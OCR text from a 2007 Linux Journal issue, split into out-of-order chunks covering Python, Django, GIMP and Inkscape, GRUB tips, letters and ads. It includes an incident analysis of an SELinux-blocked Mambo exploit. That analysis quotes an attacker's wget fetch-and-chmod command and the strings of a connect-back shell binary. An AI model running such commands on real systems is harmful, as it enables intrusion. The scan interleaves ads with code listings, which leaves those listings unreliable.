126. f the tools required to analyze an attack are already a core part of all modern Linux distributions Combined with the power of modern search engines and the public disclosure of known vul nerabilities you can often determine a good deal of information about the nature of an attack Installing something from source code to test it out then leaving it on a publicly available computer made the system vulnerable That this test installation lived in the document root of the main virtual host on the Web server made it even more exposed and vulnerable to discovery by worms Many PHP powered systems have installation instructions that essentially tell you to unarchive the software somewhere inside the document root of a Web server then modify some configura tion files You often cannot use the same type of clean operating system wide packaging for PHP systems as each installation uses a distinct set of PHP templates It took about 11 months between installing Mambo and the attack during which time did not update the software at all Using yum or apt get to update Mambo would help keep it up to date When started investigating Mambo could not find RPM packaging for it though third parties have created RPMs for Mambo since then Operating system vendors and software authors need to work on better mechanisms for automatic soft ware maintenance of Web systems SELinux really saved the day preventing the exploit program from running Withou
127. form nServ K501 s 24 hot swap 2 internal SATA drive system with redundant power supply delivers reliability without sacrificing capacity When you partner with Silicon Mechanics you get more than a long term investment in AMD technology you get an expert like Falko SILICON MECHANICS Silicon Mechanics and the Silicon Mechanics logo are registered trademarks of Silicon Mechanics Inc AMD the AMD Arrow logo AMD Opteron and combinations thereof are trademarks of Advanced Micro Devices Inc Python 2 5 During the process of writing this article with much excitement and fanfare Python 2 5 was released It is the most important release in almost two years and it comes with many promises It promises to be more reliable due to improvements in the testing procedures used by the Python development team It now has Buildbot a program that continuously builds and tests Python and whenever there s something wrong it raises an alarm for all the world to see The shame of being the developer who made the error will make all the developers more careful at least that s what happened to me when had a Buildbot watching my code For some like this author who had a new release at the worst possible time the most important thing is that Python 2 5 is backward compatible All that you ve learned here will work And not only will it work it is still the way to do it The new release also promises to be faster and has many new
128. formation that should be interpreted by the calling code The pilconvert Utility The pilconvert tool converts an image from one format to another The output format is determined by the target extension unless explicitly specified with the c option gt gt gt pilconvert lenna tif lena png gt gt gt pilconvert c JPEG lenna tif lena tmp SDC Morphology Toolbox The SDC Morphology Toolbox for Python is software used for image analysis and signal processing It is based on the principle of discrete nonlinear filters followed by lattice operations These filters are called morphological operators Morphological operators are useful for restoration segmentation and quantitative analysis of images and sig nals SDC Morphology is effectively useful for machine vision medical imaging desktop publishing document processing and food industry and agriculture needs Grayscale images generally work fine with 8 or 16 bits to repre sent each pixel Elementary operators on the images are used in a hierarchical manner There are two types of elementary operators dilation and erosion Operators other than these are distance trans form watershed reconstruction labeling and area opening The SDC Morphology Toolbox is supported on various platforms such as Win95 98 NT Linux and Solaris Some common conventions are used in this toolbox All opera tors of the SDC Morphology Toolbox start with mm These return a single data structure an
129. g biz domains 53 11 Percentage of Blogspot com blogs that are fake spam blogs or splogs 77 12 Percentage of hometown aol com blogs that are splogs 91 13 Percentage of home aol com blogs that are splogs 95 14 Peak number of splogs created every day in thousands 11 15 Thousands of splogs removed from Technorati in early December 2006 341 16 Position of Japanese among the top blogging languages 1 17 Position of English among the top blogging languages 2 18 Position of Chinese among the top blogging languages 3 19 Position of Italian among the top blogging languages 4 20 Percentage of blog posts that used tags in February 2007 35 1 CNET 2 5 Fast Company 6 Level 3 7 TIME Magazine 8 Smoking From All Sides smokingsides com 9 13 Infoniac com 14 20 Technorati Doc Searls SUPERMICR9 UIO Universal VO Maximized I O Expandability amp Flexibility The Power of Three Add On Cards in 1U Gives you the freedom to build exactly what you need E e b DIE fe m m Lea s qa 3 z xxr We co c cC Acc 2 3 es ima v E AL Ai Fr y m e mor 1 x i x s R a k d n E Supermicro UIO servers allow users to select from a wide range of I O options to provide the ultimate 1n storage and networking flexibility The UIO card becomes a part of the serverboard allowing the system to retain all of 1t s PCI Express and PCI X slo
130. gers she said know the people who put up those blogs They are friends of mine also know why they put those blogs up to commit satire lampoonery and other acts of fun at the presumably tolerable expense of familiar figures in the blogosphere But things got out of control Rather than making fun they made fear A few of the posts were not only misogynistic and cruel but threatening as well or could easily be seen that way None of the worst posts were made by people knew at least not that know of but guilt was implied by context and association Long story short things became FUBAR and the sites were taken down Meanwhile Barbara wrote in her blog post that she would not come to the conference where she was slated to speak that week and that she was zero basing her future in an on line world where she had been a prominent fixture do not want to be part of a culture the Blogosphere where this is considered acceptable Where the price for being a blogger is kevlar coated skin and daughters who are tough enough not to have their widdy biddy sensibilities offended when they see their own mother Photoshopped 28 july 2007 www linuxjournal com into nothing more than an objectified sexual orifice possibly suffocated as part of some sexual fetish And of course all coming on the heels of more explicit threats do not want to be part of a culture where this is done not by some random person but by s
131. good opinions of wxPython but l ve not used it myself If you want to build a Web application see two paths If you want something not so spectacular but that gets you there fast recommend Django Django is very similar to Ruby on Rails It s a framework in which you use the model view controller paradigm and a relational database such as MySQL or PostgreSQL both are well supported on Python The other way to build Web sites that know of is Zope Zope is a big framework with a Web server and object oriented database The database is different from other relational databases and it is very powerful It allows you to store information in a much more flexible way Zope 3 1 don t recommend the previ ous versions unless you have to use the award winning content management system Plone is prepared to help you build reliable and robust code by means of interfaces unit testing adapters and much more If you need to build any kind of daamon those little applications running in the background making the earth turn take a look at Twisted Matrix Twisted Matrix is an event based framework that solves a lot of the common problems of building daemons including separation of protocol and logic It comes with many protocols already built in and it allows you to create new protocols A proof of its use fulness is that Zope after years of shipping its own Web sever has migrated to using the Twisted Matrix HTTP server m Jos P E
132. h us Pavel First of all how does Pixel compare to Photoshop And do you aim for com patibility in file formats and the same or a similar feature set PK Well frankly Pixel tries to be comparable with Photoshop in terms of features But on the other hand it tries to be smaller and have lower hardware requirements wouldn t compare it to Photoshop yet because Pixel is still in beta My goal is to catch up with the industry standard Photoshop and then bring in more innovative and better features Pixel will support import and 54 july 2007 www linuxjournal com export to Photoshop file formats but it is utilizing its own file format because there already are some unique features not present in Photoshop LJ What features of Pixel are you most proud of PK Those features unique to Pixel such as multiple color managed clipboards and color management in general The live effects feature was quite difficult to do as well and think that it is already better than Photoshop In Photoshop you can use an effect only once and you cannot control the effect s order LJ What are your customers asking for regarding changes or improvements PK i m getting a lot of requests and ideas from users I think they like to influence development in a way that is not possible for bigger commercial projects LJ Are you finding a large number of Linux users who say they cannot live without Photoshop but then find Pixel to be a good alternati
133. handing control over to The GIMP With the metadata handling code out of the way let s go back to the monkeyiq gimp convert function The nominated image file is loaded and a new layer layer is created with the same dimensions as the image itself and it will be filled with the nomi nated background color This new layer is then put to the bottom and visible layers are merged This makes all the transparency in the image be evaluated against the new background layer s color In the case of our button on a gray background assuming the input xcf file has the gray background layer hidden if the script is Figure 5 The green background now plays a role in the partially transparent run with the bright green background color nominated the soft pixels drop shadow is blended with the green in accordance with each 62 july 2007 www linuxjournal com ASA COMPUTERS Want your business to be more productive The ASA Servers powered by the Intel Xeon Processor provide the quality and depandability to keep up with your groweng business Hardware Systems for the Open Source Community Since 1989 Linux FreeBSD NetBSD OpenBSD Solaris MS etc Hide all layers AAA ITE Storage installed Max ITB Listing 7 Make all layers hidden in the output image n ly Intel Dual core 5030 CPU Oty 1 Max 2 CPUS sub Layers hideAll pat i 7 1GB 667MGZ FADIMMs Installed my img o AR Supports 16GB FBDIMM 4X
134. hat they might need to be assigned different permis sions You easily can add modify and delete groups giving them one or more permissions from a provided list Even without any applications in place you can create and administer a system with users groups and permission levels It would have been nice if Django were to support hierarchies of groups rather than the one level model it currently uses Regardless l ve always been fond of Web frameworks that come with built in users groups and permissions The fact that Django comes with a graphical system to manipulate them is even better Conclusion This month we began to look at Django a popular open source Web framework written in Python We got our Django project up and running including connections to a relational database We were even able to browse through some of its administrative screens assigning permissions to users and groups Next month we ll continue with our exploration of Django looking at how we can create new applications with its versions of the MVC model view controller paradigm I Reuven M Lerner a longtime Weh database consultant is a PhD candidate in Learning Sciences at Northwestern University in Evanston Illinois He currently lives with his wife and three children in Skokie Illinois You can read his Weblog at altneuland lerner co iL EmperorLinux Where Linux laptops converge Since 1999 EmperorLinux has provided pre installed Lin
135. having various conditionals for different cases In that case we use a string of ifs if a 10 print A is ten elif a 0 print A is zero elif a 30 print A is not thirty EISE print Who cares about a elif is the contraction of else if and indeed the previous code could be written as if a 10 print A is ten else if a print A is zero else if a 30 print A is not thirty else print Who cares about a But that is ugly and prone to errors If you have 10 or 15 different cases you ll need a 29 widescreen monitor just to view it Not that have anything against such a monitor I d like to have one If you come from other languages that have a switch or select or case construct and are wondering where they are in Python I m sorry to disappoint you Python doesn t have such constructs There s a pro posal to include them but it hasn t been implemented yet Right now the solution is to use a chain of ifs elifs and elses After you use this a few times it s not so bad Now that you know about else here s an interesting tidbit for and while also can have elses What do they do Run Python and try it out until you discover for yourself While programming you ll need to run a lot of code to find out how many undocumented obscure almost black magic things work so starting with something simple will help you get some training Inheritance The short introduction to
136. he past it was one animator per scene Lighting and any special effects are added such as cloth or flames Then the scene is rendered frame by frame on a 3 0004 CPU Linux renderfarm Each frame is assigned to a different node of the renderfarm by grid software using Platform LSF a commercial Linux pack age so that many frames can be output simultaneously The frames are edited into a movie using Avid software not on Linux Early in the process hand drawn storyboard images are scanned and a scratch audio track is edited together creating a rough video representation of the movie As each sequence is completed it replaces the rough storyboard footage building the fully ren dered movie scene by scene The fact that our main production pipeline is all on Linux is pretty interest ing says head of Production Technology Darin Grant We ve been on Linux for years but I m still amazed Looking back when using Linux was a radical concept for Digital Domain s renderfarm during Titanic it wasn t that long till the industry moved toward wholehearted adoption The studio Digital Domain where Grant formerly worked built the first Linux ren NAY Gas m AS Cis a Figure 3 Storyboard a Story Artists Rendition of the Scene Figure 4 Layout the Layout Artists Blocking of the Camera Moves and Character Poses derfarm for Titanic released in 1997 Grant now works at the PDI DreamWorks facility in northern Ca
137. hing with sockets judging from the strings within Listing 1 The Web server log file had many suspicious requests some attacking Mambo using command injection and wget some attacking other CMS systems copied all the lines containing php or wget using grep and put them in root exploit log Listing 2 contains a trace of the most recent attempt The log file did contain two very useful clues it confirmed that the cback binary was related to a request made to Mambo Furthermore the query string confirmed that the attacker used wget a command line URL fetching tool to retrieve the exploit from a remote server The Web server request attempted to execute the cback executable with an IP address parameter of 10 200 238 39 presumably another machine under the control of the attacker The attack attempted to execute this sequence of shell commands cd tmp weet 172 16 31 57 cback chmod 744 cback Listing 1 Attack Payload Strings strings cback Tib ld linux so 2 libe so 6 printf connect St ert exec dup2 sleep socket inet_addr wait fork htons err non location exile atoi s10estdin used Mibesstartomain close 2 Ssmon start GITE PTRh lege s lt host gt port cannot create socket retrying in 5 seconds socket ok error 0S retting in 5 seconds bin sh fork error retry in 5 seconds cback 10 200 238 39 8080 echo YYY echo HTTP 1 1 Going back to var log messages search
138. ically different internals mean that GIMP plugins do not port easily to CinePaint so casual users will find them selves frustrated by what feels like a func tionality hit Further it is difficult to com pile and fairly crash prone on some distros this is part of the reason for Glasgow s move to FLTK but that branch isn t yet usable Even with these inconveniences CinePaint is still a must have tool and as the project moves forward it will hopefully become ever more useful and stable Krita Krita is the KOffice paint utility and it s enough to make people rethink their dislike of KOffice Figure 2 Even at first glance it looks like a whole different animal than GIMP Rather than floating windows it starts in a single pane integrated view Thankfully there is salvation in the fact that Krita s design is modular every panel and tool is dockable making the user interface as con figurable as you please The differences don t end there Krita s entire approach sets it apart GIMP origi nally was designed to give UNIX a way to deal with Web images and it fulfilled this mission admirably for a long time Krita on the other hand was designed with a different target in mind it is aimed directly at graphics professionals Built from the ground up on LCMS Krita s 32 bit color management system is flanked by well built sophisticated tools for accessing it It works in more than a dozen different colorspaces and c
139. ice pink rose rose text jpg 4 Label the image on the top like this convert rose jpg gravity North background green splice 0x18 draw text 0 0 Nice A pink rose rose top jpg You can create a video from the images using mencoder or FFmpeg But before that let s first create the horizontal and vertical mirror images of the snaps It will be interesting to combine the images with the mirrors while playing the video convert rose jpg flip rose flip jpg convert rose jpg flop rose flop jpg These two commands create the vertical and horizontal mirror images respectively You can combine the mirrors with the original with the append switch to convert convert rose jpg rose flip jpg append rose vertical jpg Instead of append if you specify append it creates the images side by side which is what we want to do with horizontal mirror images convert rose jpg rose flop jpg append rose horiz jpg You might consider using the resize option or scale option to convert all images to identical dimensions mencoder mf jp mf fps 0 5 type jpg o image video avi ovc lavc lavcopts vcodec mjpeg This creates an image video with all the images displaying one after another at an interval of one image every two seconds fps 0 5 But bear in mind that all the images need to have identical dimen sions or this will not work Now you can combine this with a nice audio file to create a video that is playable
140. ied a number of examples from the May 2007 issues articles and Maintainer Eric Dorland eric debian org have discovered that all of the examples are flowed with the same bug Architecture i386 The problem can be narrowed down to these two lines in all examples Version 2 0 0 3 2 From the magazine PS A little annoyance I think it would be a good idea if the writers actually listed HTML that is able to validate http open GET url escape zipValue true http onreadystatechange handleHttpResponse lt DOCTYPE html PUBLIC W C DTD XHTML 1 0 Strict EN http ww w3 org TR xhtml1 DTD xhtml1 strict dtd gt The right way lt Doctype declaration are missing in some examples gt html xmlns http www w3 org 1999 xhtml gt http onreadystatechange handleHttpResponse lt head gt http open GET url escape zipValue true lt title gt AJAX Contactbook lt title gt I Declaration of charset is missing in all examples gt The problem is if you make the call to open before a call back func meta http equiv Content Type content text html tion is defined the response will end up in the great big void After charset utf 8 gt calling open the script s control stops and control will first be gained again when open calls the call back function with the response lt mixed notation for attributes in almost all examples foo 2 bar 3 gt Apart from this though a fundamental change all scri
141. ify as well as join or break them The tool for writing or anything else that must be drawn by hand with a mouse or a graphic tablet is the calligraphy pen which is associated with the nib icon There are several options for changing the appearance of the pen strokes and their general behavior in order to achieve a more realistic or personal look Figure 2 shows the number three drawn with tremor values of O on the left and 1 00 on the right Once you have created or imported an object you can modify its appearance in many ways thanks to the Inkscape filters which can do things as different as fractalization saturation adjustment and Gaussian blur The latter is used to adjust a blur setting for an object Object Unions Paths and objects can be combined very quickly with boolean opera 7 business cand eyy Inkscape He Rm Pew Lee Lm pen DM ee PC HD AA ade AD 5425 940 Tat 2 TOR 4 A dif qne Le l CA jj NES LE de bende ide E Borda dnde Lam nale bebe de uL Bd E EX E eis PUE ei ied Elm AA rl pm A wi BUF brain ta E 1 1 4 l edo bd md gE a8 nau LET La Lal al ae Ol ej U Al dd d P objects of types Ellipse Star in layer Layer 1 Click E Iure Figure 3 Intersection of a Vector Oval and a Vector Star 7 busimpess cond yg gt Inkscape ed dere rz eir cte do orc Fere m teeth hh as BUR 5428 440 DR 4 TER 44 aba A L
142. ill 1ayer BACKGROUND FILL IRESSTRING SInpuEJlligag c Name of image to export oldlayer PF_STRING outputimage Gimp gt image merge visible layers Name of image to save to img EXPAND AS NECESSARY RESCOLOR allaseolor Gimp layer set name oldlayer oldlayer Background color to alias with Ib Gimp selection none img V amp monkeyiq gimp convert threshold 1 Gimp by color select oldlayer aliascolor if ZARGV lt 0 threshold 0 1 0 0 print Usage 0 inputimage imagepath Gimp selection invert img print coutputimage TuL est parn print aliascolor 000000 n n VITA A AAA AAA exit newlayer Gimp gt layer_new img Gimp image width img Handle over control to gimp Gimp image height img exit main 1 test xl 100 9 60 july 2007 www linuxjournal com Figure 4 Button intended to have a gray background behind a soft shadow exported with a single bit alpha mask and overlayed on a Figure 3 Button with a Gray Background behind a Soft Shadow different color background script Although using many smaller scripts is slower because of the Makefiles Common utility functions have been moved into the extra image save load cycles this is less relevant for batch processing MonkeyIQGIMP module so that many little image editing scripts can images The upside is that once the little scripts are known about they be created q
143. imp gt image get layers img i Supports 32GB FBDIMM foreach 1 layers 40X250GB hiswap SATA II Drives Installed n Gimp gt layer get name 1 2X12 Port SATA II Multllane RAID controller ades i 1X16 Port SATA II Mullilane RAID controller if n m 1ayersre 2X 1 0 100 1000 LAN onboard il 1300 W Red Ps cimp eye eee ete eee All systems installed and tested with user s choice of Linux distribution free ASA Collocation 75 per month A sub monkeyiq gimp layers hideall my inputimagename outfilename layersre img gimp file load inputimagename inputimagename 2354 Calle Del Mundo Layers showByRE img layersre Santa Clara CA 95054 fmasacomputes com S gimp xcf save 0 img 0 Email sales asacomputers com inside outfilename outfilename P 1 800 REAL PCS FAX 408 654 2910 gimp image delete img Intel Intel Xeon Intel Inside Intel Itanium and the Intel Inside amp logo are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries Prices and availability subject to change without notice Not responsible for typographical errors Do you take the computer doesn t do that as a personal challenge JOURNAL Since 1994 The Original Monthly Magazine of the Linux Community Subscribe today at www linuxjournal com Listing 9 Create a quick prelight
144. ing network computing see the May 2007 var opinion until good reli able Internet access at realistic speeds becomes available it is some way off Roy Read Now You See Them In the Letters section April 2007 Chris Trayner mentioned in his response to you that under KDE he could no longer use certain features and concluded that these 10 july 2007 www linuxjournal com features had been removed from KDE This conclusion is fortunately incorrect the fea tures he was looking for are still available just checked in the KDE Control Centre under recent Mandriva and Knoppix releases and found the following options a Alter Delete item on file context menu go to the Components or KDE Components menu item then File Manager then the Behaviour tab and see the check boxes in the second part of this panel b Changing window titlebar double click behaviour go to the Desktop or System menu item then Window Behaviour then the Actions or Titlebar Actions tab There you will see a drop down box labeled Titlebar Double click c Moving maximised windows go to the Desktop or System menu item then Window Behaviour then the Moving tab There you will see a check box relating to this option d Although not previously mentioned one option always use if the initial setup allows it is icon activation using a single mouse click such as under Knoppix go to the Peripherals menu item then Mouse The secon
145. ion you can count on for all of your multi core debugging needs Developed to help debug the world s most demanding applications TotalView is extremely powerful yet easy to use Visually driven it provides enhanced graphical representations that enable users to quickly recognize problems and zoom in to identify root causes TotalView does not require instrumentation relinking or rebuilding TotalView has been proven to reduce debugging time by up to 8076 Try it now for free Go to www totalviewtech com command TO T A LVI E W to power up your 15 day trial version or call TECHNOLOGIES 1 800 856 3766 for more information Built for the Multi core age 2007 TotalView Technologies LLC TotalView is a registered trademark of TotalView Technologies LLC All other names are trademarks of their respective holders letters love Ajax use it in my JSPs all the time But come on It s not a Linux technology but yet it gets coverage in almost every issue of LJ since at least October 2006 Let s take a look back e October 2006 At the Forge JavaScript Forms and Ajax e November 2006 At the Forge Beginning Ajax Feature Caller ID with Asterisk and Ajax e December 2006 At the Forge Ajax Seton com rt in Application Design January 2007 At the Forge Prototype Ajax Indepth Ajax Timelines and the ERE dl Semantic Web IE TL e February 2007 At the Forge Scriptaculous
146. istribution of Linux in a new partition but specify the same boot partition you used to install the first distribu tion Boot into the new distribution Repeat the copy process above First edit the etc fstab file to change the entry that mounts boot to mount it as mnt boot Then do this umount boot mkdir mnt boot mount dev sdal mnt boot cp a mnt boot boot Now edit mnt boot grub original menu lst to include the boot commands for the new distribution You can find the boot commands for the new distribution in mnt boot grub menu st Don t forget to fix the root location again too Assume that your second distribution is on dev sdb1 the first partition of the second drive In our example you would change this title Second Linux Distro root hd0 0 to this title Second Linux Distro root hd1 0 Copy the original grub with the modified menu lst that adds the new distribution back to the grub directory TECH TIPS cd mnt boot cp a grub original grub This copies not only the updated menu lst file but it also restores the original GRUB binary files The next time you reboot you should see a menu entry for the original distribution plus the one you added To add more distributions create new partitions rinse repeat You occasionally may find that you need to reset GRUB after you install a new distribution Given our sample partitions above simply do this as root grub gt root hd0 0
147. istro shopping spree Nick Petreley Editor in Chief went on a distro shopping spree this month to see what s out there Okay it wasn t a shopping spree per se because the only money spent was for blank disks and download install time But tried a whole bunch of distributions to get a picture of where Free as in beer Linux is today Despite its many quirks and how annoy ing it can be to get multimedia working on some systems Kubuntu is still my favorite now run both Kubuntu 7 04 x86 and 7 04 AMD64 as my standard desktops Why both run x86 because there are some things you can t do on the AMD64 version run the AMD64 version just for the heck of it Kubuntu is of course the KDE spin off of Ubuntu which is GNOME based ran Ubuntu on my server for almost two years switched to Kubuntu recently only because the Kubuntu install disk was easier to find when I replaced the main disk on my server If had been more diligent that day would have downloaded the server version of Ubuntu and used that Ubuntu now has more spin offs than Happy Days For those of you who remem ber that Happy Days was itself a spin off of 96 july 2007 www linuxjournal com Love American Style you may see why I chose this particular comparison Although spin offs of Ubuntu abound Ubuntu is one of many spin offs of Debian I still have Debian installed on its own partition and boot it now and then As Ubuntu matures an
148. journal com us an error message when we try to access the server What s happening The simple answer is that we have not yet populated our project with any applications The project exists and the server is running but they are basically an empty shell Until we create and install one or more applications we re not going to see very much The exception is the Django administrative package which comes with the system and is immediately available Well that s not quite true It s available but only if you explicitly modify the list of installed applications INSTALLED APPS to include the appropriate package name Luckily we can do that without too much trouble We open up mysite settings py scroll down to the bottom and modify INSTALLED APPS such that it includes the string django contrib admin You don t even have to restart the server Once this value has been added you will be asked to log in with a user name and password Enter the values that you gave to Django when it created the administrative database and you ll get a nicely formatted if sparsely populated administrative site complete with links to Django documentation Without any other applications installed it might seem a bit silly to have a Django administrative site But one of the things Django provides that Rails doesn t is an underly ing authentication and security system Right out of the box Django understands that there are users and groups and t
149. lifornia and com mutes to Glendale each week to ensure that his cross site team is in sync He also uses VSC an immersive video teleconfer encing system developed by DreamWorks Animation that HP has since taken to market as the Halo room HAVEN is the DS3 45mbs Halo video exchange network used extensively to connect between DreamWorks facilities and with HP s desktop division and with AMD The issues with maintaining a large Linux based pipeline are the same as maintaining a large pipeline on any oper ating system says Grant We unified the studio on one standard pipeline a while ago and now we have all produc tions at all times using the same pipeline They stress push and develop the pipeline in different ways on each production Linux provides us with many advantages Solid support for threading NFS and LAMP toolsets are big pluses for us Managing developers gets easier each year as the quality of the development tools and IDEs available on Linux improves www linuxjournal com july 2007 41 FEATURE Shrek the Third Figure 6 Lighting Final Version of the Scene with Lighting and Textures Added to the Frame At the desktop we use HP xw9300 workstations running RHEL 4 says head of Digital Operations Derek Chan The render farm uses HP DL145 G2 servers Our stan dard for memory is to have 2GB per core Servers have four cores so that s 8GB Chan says DreamWorks Animation has a good relationship with
150. lt for me to dis tinguish in the original image and many of the errors were around the areas where the worst linear distortion occurred Next used The GIMP to rotate the image as far as could with out clipping the text This corresponds to someone slapping pages on a scanner with little regard for alignment Surprisingly Tesseract still managed a 9696 recognition rate In fact the rotation inadvertently helped with the linear distortion and the recognition errors were less clustered than before Now was curious as to how ocrad would fare It did not fare well In fact it failed miserably ocrad did more poorly on the best quality input than Tesseract did on the worst The results and comparison are shown in Table 1 Getting the Best Results The tests above indicate that the recom mended inputs I have seen for Acrobat are quite sane recommend scanning your documents at 150dpi or higher You also might try putting your scanner in black and white mode the threshold routines in your scanner actually may give better results than the manual thresholding described in this article Perfect alignment does not seem to affect recognition rates drastically but distortion due to book bindings did seem to cause some minor problems Many professional scanning companies remove the pages from the binding if possible Automating the Process The GIMP gives you very fine control over image editing but if you have a consistent scanning
151. missing out on important improvements being made to the upstream tree At the same time the gitweb maintainers did seem to be gathering up bug fixes eventual ly It seems as though this particular code fork may be short lived Deepak Saxena has modified the kernel to make sure it can build under a Cygwin environment Some people may wonder why the kernel develop ers would bother supporting a kernel development environment under Windows but as Deepak puts it this environment is unfortunately used by more people than one would think in the embedded world His patch it turns out is a bit hacky and H Peter Anvin has asked him to include vari ous appropriate comments to make sure anyone touching the code doesn t break Cygwin support ZACK BROWN LJ Index July 2007 1 Number of keystrokes required to bring up a document at the FBI 13 2 Cost in millions of dollars of the FBI s scrapped Virtual Case File VCF system 170 3 Number of IT managers on the VCF system in 40 months 15 4 Estimated cost in millions of dollars of VCF s replacement Sentinel 425 5 Expected years until Sentinel is due to be finished 2 6 Daily petabytes of Internet Protocol traffic carried by Level 3 3 7 7 Percentage of Hollywood films that show tobacco use 75 8 Number of actresses in the Linux hosted Female Celebrity Smoking List 6 409 9 Percentage of spam sites among info domains 68 10 Percentage of spam sites amon
152. n TIME April 7 2007 Fast Company article www fastcompany com magazine 1 14 features why is this man smiling html TIME piece www time com time magazine article 0 9171 1601837 00 html USER FRIENDLY by J D Iliad Frazer LINT JURE ED ATOM WELL THIS IS IT I M FINALLY GOING TO WALK THE WALK 100 AS AN OPEN SOURCER I VE FINALLY SWITCHED OVER TO THE GIMP ALTHOUGH IT IS A CONSID ERABLE SACRIFICE THAT 1 WOW THE GIMP SURE DOES LOOK LIKE PHOTOSHOP MAKE RE LEARNING ALL OF My APPS I DO IT IN THE NAME OF OPEN SOURCE PURITY AND VIRTUE AAA USE I DEN oe i 3 rP Technologies 309 34 CUBED oer ng eager shoprcubed com tarrapest 007 10 mad frapar TECH TIPS Not all tips have to be complex or obscure to be useful gt gt Convert Video from Color to Black and White The versatility of the Linux command line is often underestimated Tasks such as sophisticated multimedia processing need not be done with heavy GUIs that will run only on powerful machines The simple Linux command line can do it if you have MPlayer and the companion program mencoder installed on your machine mencoder is an extremely powerful program that can record analog and digital television post process recorded videos apply vari ous filters and so on More information is available in the on line man pages and HTML documentation that comes bundled with the source Here we are faced with a simple task of converting a color movie
153. n analysis toolkit that will work on a rescue disk Although this takes more time and preparation than running the analysis tools on a running system that might be compromised it gives a higher level of assurance that a compromise will not spread to other machines on your network Making a backup copy of the entire disk to a removable drive also is a good idea You could use a command such as this to do the job dd if dev hdal of mnt removable drive disk img bs 512k You then can mount and analyze the backup using the loop device see Disk Images under Linux in the Resources section It s probably faster and easier to analyze the original system but it s nice to have this backup for forensic purposes In an ideal world you could do this the moment you realize an attack has succeeded However sometimes you have to assess the severity of the compromise and balance that against the time and resources you have available Figuring Out the Damage Done It looks like whoever broke in could have read or written to any file available to the apache user This would include the PHP configuration file for Mambo that had a MySQL database user name and password in it changed that password just to be sure that the intruder could not use it to attempt further privilege escalation Fortunately for me this was only a test installation so to pre vent future exploits removed the Mambo installation completely also could have attempted
154. n of eXtensible Markup Language XML If you view a file created with Inkscape at the com mand line or in any text editor instead of incomprehensible binary sequences you ll find something like this lt xml version 1 0 encoding UTF 8 standalone no gt lt Created with Inkscape http www inkscape org gt lt svg xmlns dc http purl org dc elements 1 1 and lots of other very verbose but plain ASCII text terribly ugly but still editable by hand in an emergency or processable by a script What if you have lots of logos and clip art files all with the names and offi cial color of your company and then either the name or the color changes If all the files are in SVG you simply can replace the right strings with awk sed Perl or any other scripting language To do the same thing on one single file inside Inkscape click on the lt gt bracket buttons or press Shift Ctrl X to launch the Inkscape XML editor Figure 8 shows how the XML tree of the Linux is a Shining Star business card looks in this editor Path 3456 is the oval star shape combo from Figure 7 With this editor it is possible to change almost any thing in the current file including SVG features for which there are still no graphical tools Another reason to use the editor is that every change you make in it immediately applies to the actual graphic in the main Inkscape window Speaking of structured documents selecting File gt Document Metadat
155. n your sys tem but it doesn t have to Install your first distribution with this partition When everything is working change the line in etc fstab that mounts the boot partition to mount the partition as mnt boot instead Create the mountpoint called mnt boot Mount the boot partition there For example umount boot mkdir mnt boot mount dev sdal mnt boot Then copy everything from that partition to what is now the local boot directory for your distribution cp a mnt boot boot At this point you still should be able to boot the distribution you just installed even though the kernel files are relocated But that won t last You need to change part of your menu lst to specify that the boot files now reside on the same partition as the rest of the dis tribution For example if you started with boot on dev sda1 and on dev sda2 modify your menu lst file to use the new partition to find the kernel Here s a sample original title Some Linux Distro root hd0 90 In our example you d change it to this title Some Linux Distro root hd0 1 This next part is a little tricky and there are several ways to approach it For example you simply could make a copy of your grub menu Ist file However make a copy of the entire grub directory because there are a variety of ways you can accidentally run into problems otherwise Here s what do next cd mnt boot cp a grub grub original Now install your next d
156. ne years old Anyway would love to discover a good chess playing program for Linux that teaches me how to improve besides beating me at chess All the games mentioned in the article are good have tried a few gnuchess crafty etc They will play a very strong game and you can save games for study But this doesn t teach me the way a program like ChessMaster can teach people ChessMaster runs only on Windows and don t want to struggle with Wine as a workaround This is 2007 I am using the latest kernel on Kubuntu and I m really happy with my Linux experience would appreciate it if you or Jason could try to help me locate a ChessMaster equivalent for Linux Eddie Colon Great idea We ll put out a call for such an article and see if we can turn up an author who wants to tackle it Ed Network Computing Still Expensive am sending you this e mail at great expense No not Great Expense Arizona great expense over dial up At the moment am in semi rural Germany where ADSL Broadband has not yet reached suspect that the same goes for rural France Holland Spain and many other European countries It certainly applies to England where because of distance from the exchange coupled with poor quality for data cabling broadband has not reached Even at my home location on the outskirts of a 300 000 population conurbation the best speed on a good day is 1Mb So whilst think you are 100 right regard
157. ner with Silicon Mechanics you get more than a finely tuned Intel solution you get an expert like Ivan SILICON MECHANICS Silicon Mechanics and the Silicon Mechanics logo are registered trademarks of Silicon Mechanics Inc Intel the Intel logo Xeon and Xeon Inside are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries Quad core Unmatched inside INDEPTH by SELinux Mambo Exploit Blocked A real world case where SELinux proved its worth RICHARD BULLINGTON MCGUIRE If you operate Internet connected servers chances are you eventually will have to deal with a successful attack Last year discovered that despite the multilayered defenses in place on a test Web server targetbox an attacker had managed to use an exploit in a partially successful attempt to gain access This server was running Red Hat Enterprise Linux 4 RHEL 4 and the Mambo content management system It had multiple defenses in place including Security Enhanced Linux SELinux SELinux prevented the attacker from executing the second stage of the attack possibly preventing a root compromise This article presents a case study of the intrusion response explain ing how discovered the intrusion what steps took to identify the exploit how recovered from the attack and what lessons learned regarding system security I ve changed machine names
158. nfigurator allows you to source a custom solution or call and our product experts are standing by to help you assemble systems that require a little extra Servers Direct your direct source for scalable cost effective server solutions 1 877 727 7887 www ServersDirect com Intel Intel logo Intel Inside Intel Inside logo Intel Centrino Intel Centrino logo Celeron Intel Xeon Intel SpeedStep Itanium Pentium and Pentium Ill Xeon are trademarks of D u a CO re a Intel Corporation or it s subsidiaries in the United States and other countries D O m O r e Xeon inside INDEPTH Writing Your Own Image UNIX Shell Gallery Application with the You don t need a fancy photo management application to create a Web based image gallery GIRISH VENKATACHALAM Digital photography has become so ubiquitous today that even medi um range mobile phones can capture photographs Once you transfer photos to the PC you need to be able to share them with friends and relatives Most digital cameras produce such high resolution images that sending them directly to folks via e mail is not always convenient This is when you need an on line photo sharing Web site such as flickr com to help share photographs simply by uploading them Of course you also can do the heavy lifting with tools such as gallery2 But in this article discuss how to utilize the power of the Linux command line to create an image gallery A Brief Sur
